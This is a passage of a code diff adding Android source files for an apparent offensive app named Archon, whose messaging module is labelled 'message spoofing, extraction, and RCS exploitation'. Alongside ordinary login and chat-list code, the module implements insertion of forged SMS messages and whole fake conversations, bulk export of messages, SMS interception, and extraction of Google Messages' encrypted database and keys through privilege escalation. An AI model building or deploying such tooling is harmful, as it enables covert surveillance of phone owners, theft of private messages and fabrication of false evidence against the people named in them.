return sb.toString();
|
||||
}
|
||||
|
||||
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return defaultVal;
|
||||
idx++;
|
||||
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||
sb.append(json.charAt(idx));
|
||||
idx++;
|
||||
}
|
||||
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultVal;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Logging ────────────────────────────────────────────────────
|
||||
|
||||
private static void log(String msg) {
|
||||
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||
String line = timestamp + " [" + TAG + "] " + msg;
|
||||
System.out.println(line);
|
||||
|
||||
try {
|
||||
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||
fw.write(line + "\n");
|
||||
fw.close();
|
||||
} catch (IOException ignored) {}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
package com.darkhal.archon
|
||||
|
||||
import android.content.Intent
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class LoginActivity : AppCompatActivity() {
|
||||
|
||||
private lateinit var inputServerIp: TextInputEditText
|
||||
private lateinit var inputPort: TextInputEditText
|
||||
private lateinit var inputUsername: TextInputEditText
|
||||
private lateinit var inputPassword: TextInputEditText
|
||||
private lateinit var statusText: TextView
|
||||
private lateinit var btnLogin: MaterialButton
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
|
||||
// If already logged in, skip to main
|
||||
if (AuthManager.isLoggedIn(this)) {
|
||||
// Quick session check in background, but go to main immediately
|
||||
startMain()
|
||||
return
|
||||
}
|
||||
|
||||
setContentView(R.layout.activity_login)
|
||||
|
||||
inputServerIp = findViewById(R.id.input_login_server_ip)
|
||||
inputPort = findViewById(R.id.input_login_port)
|
||||
inputUsername = findViewById(R.id.input_login_username)
|
||||
inputPassword = findViewById(R.id.input_login_password)
|
||||
statusText = findViewById(R.id.login_status)
|
||||
btnLogin = findViewById(R.id.btn_login)
|
||||
|
||||
// Pre-fill from saved settings
|
||||
val savedIp = PrefsManager.getServerIp(this)
|
||||
if (savedIp.isNotEmpty()) {
|
||||
inputServerIp.setText(savedIp)
|
||||
}
|
||||
inputPort.setText(PrefsManager.getWebPort(this).toString())
|
||||
|
||||
val savedUser = AuthManager.getUsername(this)
|
||||
if (savedUser.isNotEmpty()) {
|
||||
inputUsername.setText(savedUser)
|
||||
}
|
||||
|
||||
btnLogin.setOnClickListener { doLogin() }
|
||||
|
||||
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
|
||||
autoDetect(it as MaterialButton)
|
||||
}
|
||||
|
||||
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
|
||||
startMain()
|
||||
}
|
||||
}
|
||||
|
||||
private fun doLogin() {
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
val username = inputUsername.text.toString().trim()
|
||||
val password = inputPassword.text.toString().trim()
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Enter server IP or tap AUTO-DETECT"
|
||||
return
|
||||
}
|
||||
if (username.isEmpty() || password.isEmpty()) {
|
||||
statusText.text = "Enter username and password"
|
||||
return
|
||||
}
|
||||
|
||||
// Save server settings
|
||||
PrefsManager.setServerIp(this, serverIp)
|
||||
PrefsManager.setWebPort(this, port)
|
||||
|
||||
btnLogin.isEnabled = false
|
||||
btnLogin.text = "LOGGING IN..."
|
||||
statusText.text = "Connecting to $serverIp:$port..."
|
||||
|
||||
Thread {
|
||||
val result = AuthManager.login(this@LoginActivity, username, password)
|
||||
|
||||
handler.post {
|
||||
btnLogin.isEnabled = true
|
||||
btnLogin.text = "LOGIN"
|
||||
|
||||
if (result.success) {
|
||||
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
|
||||
startMain()
|
||||
} else {
|
||||
statusText.text = result.message
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun autoDetect(btn: MaterialButton) {
|
||||
btn.isEnabled = false
|
||||
btn.text = "SCANNING..."
|
||||
statusText.text = "Scanning for AUTARCH server..."
|
||||
|
||||
val discovery = DiscoveryManager(this)
|
||||
discovery.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
discovery.stopDiscovery()
|
||||
handler.post {
|
||||
if (server.ip.isNotEmpty()) {
|
||||
inputServerIp.setText(server.ip)
|
||||
}
|
||||
if (server.port > 0) {
|
||||
inputPort.setText(server.port.toString())
|
||||
}
|
||||
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT"
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||
|
||||
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
handler.post {
|
||||
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||
statusText.text = "No AUTARCH server found on network"
|
||||
}
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT"
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||
}
|
||||
discovery.startDiscovery()
|
||||
}
|
||||
|
||||
private fun startMain() {
|
||||
startActivity(Intent(this, MainActivity::class.java))
|
||||
finish()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.darkhal.archon
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import androidx.navigation.fragment.NavHostFragment
|
||||
import androidx.navigation.ui.setupWithNavController
|
||||
import com.darkhal.archon.messaging.MessagingModule
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.google.android.material.bottomnavigation.BottomNavigationView
|
||||
|
||||
class MainActivity : AppCompatActivity() {
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContentView(R.layout.activity_main)
|
||||
|
||||
// Initialize module registry
|
||||
ModuleManager.init()
|
||||
|
||||
// Register SMS/RCS messaging module
|
||||
ModuleManager.register(MessagingModule())
|
||||
|
||||
val navHostFragment = supportFragmentManager
|
||||
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
|
||||
val navController = navHostFragment.navController
|
||||
|
||||
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
|
||||
bottomNav.setupWithNavController(navController)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.recyclerview.widget.RecyclerView
|
||||
import com.darkhal.archon.R
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Calendar
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
/**
|
||||
* RecyclerView adapter for the conversation list view.
|
||||
* Shows each conversation with contact avatar, name/number, snippet, date, and unread badge.
|
||||
*/
|
||||
class ConversationAdapter(
|
||||
private val conversations: MutableList<MessagingRepository.Conversation>,
|
||||
private val onClick: (MessagingRepository.Conversation) -> Unit
|
||||
) : RecyclerView.Adapter<ConversationAdapter.ViewHolder>() {
|
||||
|
||||
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
|
||||
val avatarText: TextView = itemView.findViewById(R.id.avatar_text)
|
||||
val avatarBg: View = itemView.findViewById(R.id.avatar_bg)
|
||||
val contactName: TextView = itemView.findViewById(R.id.contact_name)
|
||||
val snippet: TextView = itemView.findViewById(R.id.message_snippet)
|
||||
val dateText: TextView = itemView.findViewById(R.id.conversation_date)
|
||||
val unreadBadge: TextView = itemView.findViewById(R.id.unread_badge)
|
||||
|
||||
init {
|
||||
itemView.setOnClickListener {
|
||||
val pos = adapterPosition
|
||||
if (pos != RecyclerView.NO_POSITION) {
|
||||
onClick(conversations[pos])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
|
||||
val view = LayoutInflater.from(parent.context)
|
||||
.inflate(R.layout.item_conversation, parent, false)
|
||||
return ViewHolder(view)
|
||||
}
|
||||
|
||||
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
|
||||
val conv = conversations[position]
|
||||
|
||||
// Avatar — first letter of contact name or number
|
||||
val displayName = conv.contactName ?: conv.address
|
||||
val initial = displayName.firstOrNull()?.uppercase() ?: "#"
|
||||
holder.avatarText.text = initial
|
||||
|
||||
// Avatar background color — deterministic based on address
|
||||
val avatarDrawable = GradientDrawable()
|
||||
avatarDrawable.shape = GradientDrawable.OVAL
|
||||
avatarDrawable.setColor(getAvatarColor(conv.address))
|
||||
holder.avatarBg.background = avatarDrawable
|
||||
|
||||
// Contact name / phone number
|
||||
holder.contactName.text = displayName
|
||||
|
||||
// Snippet (most recent message)
|
||||
holder.snippet.text = conv.snippet
|
||||
|
||||
// Date
|
||||
holder.dateText.text = formatConversationDate(conv.date)
|
||||
|
||||
// Unread badge
|
||||
if (conv.unreadCount > 0) {
|
||||
holder.unreadBadge.visibility = View.VISIBLE
|
||||
holder.unreadBadge.text = if (conv.unreadCount > 99) "99+" else conv.unreadCount.toString()
|
||||
} else {
|
||||
holder.unreadBadge.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemCount(): Int = conversations.size
|
||||
|
||||
fun updateData(newConversations: List<MessagingRepository.Conversation>) {
|
||||
conversations.clear()
|
||||
conversations.addAll(newConversations)
|
||||
notifyDataSetChanged()
|
||||
}
|
||||
|
||||
/**
|
||||
* Format date for conversation list display.
|
||||
* Today: show time (3:45 PM), This week: show day (Mon), Older: show date (12/25).
|
||||
*/
|
||||
private fun formatConversationDate(timestamp: Long): String {
|
||||
if (timestamp <= 0) return ""
|
||||
|
||||
val now = System.currentTimeMillis()
|
||||
val diff = now - timestamp
|
||||
val date = Date(timestamp)
|
||||
|
||||
val today = Calendar.getInstance()
|
||||
today.set(Calendar.HOUR_OF_DAY, 0)
|
||||
today.set(Calendar.MINUTE, 0)
|
||||
today.set(Calendar.SECOND, 0)
|
||||
today.set(Calendar.MILLISECOND, 0)
|
||||
|
||||
return when {
|
||||
timestamp >= today.timeInMillis -> {
|
||||
// Today — show time
|
||||
SimpleDateFormat("h:mm a", Locale.US).format(date)
|
||||
}
|
||||
diff < TimeUnit.DAYS.toMillis(7) -> {
|
||||
// This week — show day name
|
||||
SimpleDateFormat("EEE", Locale.US).format(date)
|
||||
}
|
||||
diff < TimeUnit.DAYS.toMillis(365) -> {
|
||||
// This year — show month/day
|
||||
SimpleDateFormat("MMM d", Locale.US).format(date)
|
||||
}
|
||||
else -> {
|
||||
// Older — show full date
|
||||
SimpleDateFormat("M/d/yy", Locale.US).format(date)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a deterministic color for a contact's avatar based on their address.
|
||||
*/
|
||||
private fun getAvatarColor(address: String): Int {
|
||||
val colors = intArrayOf(
|
||||
Color.parseColor("#E91E63"), // Pink
|
||||
Color.parseColor("#9C27B0"), // Purple
|
||||
Color.parseColor("#673AB7"), // Deep Purple
|
||||
Color.parseColor("#3F51B5"), // Indigo
|
||||
Color.parseColor("#2196F3"), // Blue
|
||||
Color.parseColor("#009688"), // Teal
|
||||
Color.parseColor("#4CAF50"), // Green
|
||||
Color.parseColor("#FF9800"), // Orange
|
||||
Color.parseColor("#795548"), // Brown
|
||||
Color.parseColor("#607D8B"), // Blue Grey
|
||||
)
|
||||
val hash = address.hashCode().let { if (it < 0) -it else it }
|
||||
return colors[hash % colors.size]
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* RecyclerView adapter for the message thread view.
|
||||
* Shows messages as chat bubbles — sent aligned right (accent), received aligned left (gray).
|
||||
*/
|
||||
class MessageAdapter(
|
||||
private val messages: MutableList<MessagingRepository.Message>,
|
||||
private val onLongClick: (MessagingRepository.Message) -> Unit
|
||||
) : RecyclerView.Adapter<MessageAdapter.ViewHolder>() {
|
||||
|
||||
companion object {
|
||||
private const val VIEW_TYPE_SENT = 0
|
||||
private const val VIEW_TYPE_RECEIVED = 1
|
||||
}
|
||||
|
||||
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
|
||||
val bubbleBody: TextView = itemView.findViewById(R.id.bubble_body)
|
||||
val bubbleTime: TextView = itemView.findViewById(R.id.bubble_time)
|
||||
val bubbleStatus: TextView? = itemView.findViewOrNull(R.id.bubble_status)
|
||||
val rcsIndicator: TextView? = itemView.findViewOrNull(R.id.rcs_indicator)
|
||||
|
||||
init {
|
||||
itemView.setOnLongClickListener {
|
||||
val pos = adapterPosition
|
||||
if (pos != RecyclerView.NO_POSITION) {
|
||||
onLongClick(messages[pos])
|
||||
}
|
||||
true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemViewType(position: Int): Int {
|
||||
val msg = messages[position]
|
||||
return when (msg.type) {
|
||||
MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
MessagingRepository.MESSAGE_TYPE_OUTBOX,
|
||||
MessagingRepository.MESSAGE_TYPE_QUEUED,
|
||||
MessagingRepository.MESSAGE_TYPE_FAILED -> VIEW_TYPE_SENT
|
||||
else -> VIEW_TYPE_RECEIVED
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
|
||||
val layoutRes = if (viewType == VIEW_TYPE_SENT) {
|
||||
R.layout.item_message_sent
|
||||
} else {
|
||||
R.layout.item_message_received
|
||||
}
|
||||
val view = LayoutInflater.from(parent.context).inflate(layoutRes, parent, false)
|
||||
return ViewHolder(view)
|
||||
}
|
||||
|
||||
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
|
||||
val msg = messages[position]
|
||||
|
||||
// Message body
|
||||
holder.bubbleBody.text = msg.body
|
||||
|
||||
// Timestamp
|
||||
holder.bubbleTime.text = formatMessageTime(msg.date)
|
||||
|
||||
// Delivery status (sent messages only)
|
||||
holder.bubbleStatus?.let { statusView ->
|
||||
if (msg.type == MessagingRepository.MESSAGE_TYPE_SENT) {
|
||||
statusView.visibility = View.VISIBLE
|
||||
statusView.text = when (msg.status) {
|
||||
-1 -> "" // No status
|
||||
0 -> "Sent"
|
||||
32 -> "Delivered"
|
||||
64 -> "Failed"
|
||||
else -> ""
|
||||
}
|
||||
} else {
|
||||
statusView.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
// RCS indicator
|
||||
holder.rcsIndicator?.let { indicator ->
|
||||
if (msg.isRcs) {
|
||||
indicator.visibility = View.VISIBLE
|
||||
indicator.text = "RCS"
|
||||
} else if (msg.isMms) {
|
||||
indicator.visibility = View.VISIBLE
|
||||
indicator.text = "MMS"
|
||||
} else {
|
||||
indicator.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemCount(): Int = messages.size
|
||||
|
||||
fun updateData(newMessages: List<MessagingRepository.Message>) {
|
||||
messages.clear()
|
||||
messages.addAll(newMessages)
|
||||
notifyDataSetChanged()
|
||||
}
|
||||
|
||||
fun addMessage(message: MessagingRepository.Message) {
|
||||
messages.add(message)
|
||||
notifyItemInserted(messages.size - 1)
|
||||
}
|
||||
|
||||
/**
|
||||
* Format timestamp for individual messages.
|
||||
* Shows time for today, date+time for older messages.
|
||||
*/
|
||||
private fun formatMessageTime(timestamp: Long): String {
|
||||
if (timestamp <= 0) return ""
|
||||
|
||||
val date = Date(timestamp)
|
||||
val today = Calendar.getInstance()
|
||||
today.set(Calendar.HOUR_OF_DAY, 0)
|
||||
today.set(Calendar.MINUTE, 0)
|
||||
today.set(Calendar.SECOND, 0)
|
||||
today.set(Calendar.MILLISECOND, 0)
|
||||
|
||||
return if (timestamp >= today.timeInMillis) {
|
||||
SimpleDateFormat("h:mm a", Locale.US).format(date)
|
||||
} else {
|
||||
SimpleDateFormat("MMM d, h:mm a", Locale.US).format(date)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extension to safely find a view that may not exist in all layout variants.
|
||||
*/
|
||||
private fun View.findViewOrNull(id: Int): TextView? {
|
||||
return try {
|
||||
findViewById(id)
|
||||
} catch (e: Exception) {
|
||||
null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,522 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.Context
|
||||
import android.os.Environment
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.module.ArchonModule
|
||||
import com.darkhal.archon.module.ModuleAction
|
||||
import com.darkhal.archon.module.ModuleResult
|
||||
import com.darkhal.archon.module.ModuleStatus
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import java.io.File
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* SMS/RCS Tools module — message spoofing, extraction, and RCS exploitation.
|
||||
*
|
||||
* Provides actions for:
|
||||
* - Setting/restoring default SMS app role
|
||||
* - Exporting all messages or specific threads
|
||||
* - Forging (inserting fake) messages and conversations
|
||||
* - Searching message content
|
||||
* - Checking RCS status and capabilities
|
||||
* - Shizuku integration status
|
||||
* - SMS interception toggle
|
||||
*
|
||||
* All elevated operations route through ShizukuManager (which itself
|
||||
* falls back to PrivilegeManager's escalation chain).
|
||||
*/
|
||||
class MessagingModule : ArchonModule {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "MessagingModule"
|
||||
}
|
||||
|
||||
override val id = "messaging"
|
||||
override val name = "SMS/RCS Tools"
|
||||
override val description = "Message spoofing, extraction, and RCS exploitation"
|
||||
override val version = "1.0"
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
ModuleAction(
|
||||
id = "become_default",
|
||||
name = "Become Default SMS",
|
||||
description = "Set Archon as default SMS app (via Shizuku or role request)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "restore_default",
|
||||
name = "Restore Default SMS",
|
||||
description = "Restore previous default SMS app",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "export_all",
|
||||
name = "Export All Messages",
|
||||
description = "Export all SMS/MMS to XML backup file",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "export_thread",
|
||||
name = "Export Thread",
|
||||
description = "Export specific conversation (use export_thread:<threadId>)",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "forge_message",
|
||||
name = "Forge Message",
|
||||
description = "Insert a fake message (use forge_message:<address>:<body>:<type>)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "forge_conversation",
|
||||
name = "Forge Conversation",
|
||||
description = "Create entire fake conversation (use forge_conversation:<address>)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "search_messages",
|
||||
name = "Search Messages",
|
||||
description = "Search all messages by keyword (use search_messages:<query>)",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "rcs_status",
|
||||
name = "RCS Status",
|
||||
description = "Check RCS availability and capabilities",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "shizuku_status",
|
||||
name = "Shizuku Status",
|
||||
description = "Check Shizuku integration status and privilege level",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "intercept_mode",
|
||||
name = "Intercept Mode",
|
||||
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
|
||||
privilegeRequired = true,
|
||||
rootOnly = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "rcs_account",
|
||||
name = "RCS Account Info",
|
||||
description = "Get Google Messages RCS registration, IMS state, and carrier config",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "extract_bugle_db",
|
||||
name = "Extract bugle_db",
|
||||
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "dump_decrypted",
|
||||
name = "Dump Decrypted Messages",
|
||||
description = "Query decrypted RCS/SMS messages from content providers and app context",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "extract_keys",
|
||||
name = "Extract Encryption Keys",
|
||||
description = "Extract bugle_db encryption key material from shared_prefs",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "gmsg_info",
|
||||
name = "Google Messages Info",
|
||||
description = "Get Google Messages version, UID, and RCS configuration",
|
||||
privilegeRequired = false
|
||||
)
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
val repo = MessagingRepository(context)
|
||||
val shizuku = ShizukuManager(context)
|
||||
|
||||
return when {
|
||||
actionId == "become_default" -> becomeDefault(shizuku)
|
||||
actionId == "restore_default" -> restoreDefault(shizuku)
|
||||
actionId == "export_all" -> exportAll(context, repo)
|
||||
actionId == "export_thread" -> ModuleResult(false, "Specify thread: export_thread:<threadId>")
|
||||
actionId.startsWith("export_thread:") -> {
|
||||
val threadId = actionId.substringAfter(":").toLongOrNull()
|
||||
?: return ModuleResult(false, "Invalid thread ID")
|
||||
exportThread(context, repo, threadId)
|
||||
}
|
||||
actionId == "forge_message" -> ModuleResult(false, "Usage: forge_message:<address>:<body>:<type 1=recv 2=sent>")
|
||||
actionId.startsWith("forge_message:") -> {
|
||||
val params = actionId.removePrefix("forge_message:").split(":", limit = 3)
|
||||
if (params.size < 3) return ModuleResult(false, "Usage: forge_message:<address>:<body>:<type>")
|
||||
val type = params[2].toIntOrNull() ?: 1
|
||||
forgeMessage(repo, params[0], params[1], type)
|
||||
}
|
||||
actionId == "forge_conversation" -> ModuleResult(false, "Specify address: forge_conversation:<phone>")
|
||||
actionId.startsWith("forge_conversation:") -> {
|
||||
val address = actionId.substringAfter(":")
|
||||
forgeConversation(repo, address)
|
||||
}
|
||||
actionId == "search_messages" -> ModuleResult(false, "Specify query: search_messages:<keyword>")
|
||||
actionId.startsWith("search_messages:") -> {
|
||||
val query = actionId.substringAfter(":")
|
||||
searchMessages(repo, query)
|
||||
}
|
||||
actionId == "rcs_status" -> rcsStatus(context, repo, shizuku)
|
||||
actionId == "shizuku_status" -> shizukuStatus(shizuku)
|
||||
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
|
||||
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
|
||||
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
|
||||
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
|
||||
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
|
||||
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
|
||||
actionId == "extract_keys" -> extractKeys(shizuku)
|
||||
actionId == "gmsg_info" -> gmsgInfo(shizuku)
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val shizuku = ShizukuManager(context)
|
||||
val shizukuReady = shizuku.isReady()
|
||||
val privilegeReady = PrivilegeManager.isReady()
|
||||
|
||||
val summary = when {
|
||||
shizukuReady -> "Ready (elevated access)"
|
||||
privilegeReady -> "Ready (basic access)"
|
||||
else -> "No privilege access — run Setup"
|
||||
}
|
||||
|
||||
return ModuleStatus(
|
||||
active = shizukuReady || privilegeReady,
|
||||
summary = summary,
|
||||
details = mapOf(
|
||||
"shizuku" to shizuku.getStatus().label,
|
||||
"privilege" to PrivilegeManager.getAvailableMethod().label
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
// ── Action implementations ─────────────────────────────────────
|
||||
|
||||
private fun becomeDefault(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required — start Archon Server or Shizuku first")
|
||||
}
|
||||
|
||||
val success = shizuku.setDefaultSmsApp()
|
||||
return if (success) {
|
||||
ModuleResult(true, "Archon is now the default SMS app — can write to SMS database",
|
||||
listOf("Previous default saved for restoration",
|
||||
"Use 'Restore Default' when done"))
|
||||
} else {
|
||||
ModuleResult(false, "Failed to set default SMS app — check Shizuku/ADB permissions")
|
||||
}
|
||||
}
|
||||
|
||||
private fun restoreDefault(shizuku: ShizukuManager): ModuleResult {
|
||||
val success = shizuku.revokeDefaultSmsApp()
|
||||
return if (success) {
|
||||
ModuleResult(true, "Default SMS app restored")
|
||||
} else {
|
||||
ModuleResult(false, "Failed to restore default SMS app")
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportAll(context: Context, repo: MessagingRepository): ModuleResult {
|
||||
return try {
|
||||
val xml = repo.exportAllMessages("xml")
|
||||
if (xml.isBlank()) {
|
||||
return ModuleResult(false, "No messages to export (check SMS permission)")
|
||||
}
|
||||
|
||||
// Write to file
|
||||
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
|
||||
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
|
||||
exportDir.mkdirs()
|
||||
val file = File(exportDir, "sms_backup_$timestamp.xml")
|
||||
file.writeText(xml)
|
||||
|
||||
val lineCount = xml.lines().size
|
||||
ModuleResult(true, "Exported $lineCount lines to ${file.absolutePath}",
|
||||
listOf("Format: SMS Backup & Restore compatible XML",
|
||||
"Path: ${file.absolutePath}",
|
||||
"Size: ${file.length() / 1024}KB"))
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Export failed", e)
|
||||
ModuleResult(false, "Export failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportThread(context: Context, repo: MessagingRepository, threadId: Long): ModuleResult {
|
||||
return try {
|
||||
val xml = repo.exportConversation(threadId, "xml")
|
||||
if (xml.isBlank()) {
|
||||
return ModuleResult(false, "No messages in thread $threadId or no permission")
|
||||
}
|
||||
|
||||
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
|
||||
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
|
||||
exportDir.mkdirs()
|
||||
val file = File(exportDir, "thread_${threadId}_$timestamp.xml")
|
||||
file.writeText(xml)
|
||||
|
||||
ModuleResult(true, "Exported thread $threadId to ${file.name}",
|
||||
listOf("Path: ${file.absolutePath}", "Size: ${file.length() / 1024}KB"))
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Thread export failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun forgeMessage(repo: MessagingRepository, address: String, body: String, type: Int): ModuleResult {
|
||||
val id = repo.forgeMessage(
|
||||
address = address,
|
||||
body = body,
|
||||
type = type,
|
||||
date = System.currentTimeMillis(),
|
||||
read = true
|
||||
)
|
||||
|
||||
return if (id >= 0) {
|
||||
val direction = if (type == 1) "received" else "sent"
|
||||
ModuleResult(true, "Forged $direction message id=$id",
|
||||
listOf("Address: $address", "Body: ${body.take(50)}", "Type: $direction"))
|
||||
} else {
|
||||
ModuleResult(false, "Forge failed — is Archon the default SMS app? Use 'Become Default' first")
|
||||
}
|
||||
}
|
||||
|
||||
private fun forgeConversation(repo: MessagingRepository, address: String): ModuleResult {
|
||||
// Create a sample conversation with back-and-forth messages
|
||||
val messages = listOf(
|
||||
"Hey, are you there?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Yeah, what's up?" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
"Can you meet me later?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Sure, what time?" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
"Around 7pm at the usual place" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Sounds good, see you then" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
)
|
||||
|
||||
val threadId = repo.forgeConversation(address, messages)
|
||||
return if (threadId >= 0) {
|
||||
ModuleResult(true, "Forged conversation thread=$threadId with ${messages.size} messages",
|
||||
listOf("Address: $address", "Messages: ${messages.size}", "Thread ID: $threadId"))
|
||||
} else {
|
||||
ModuleResult(false, "Forge conversation failed — is Archon the default SMS app?")
|
||||
}
|
||||
}
|
||||
|
||||
private fun searchMessages(repo: MessagingRepository, query: String): ModuleResult {
|
||||
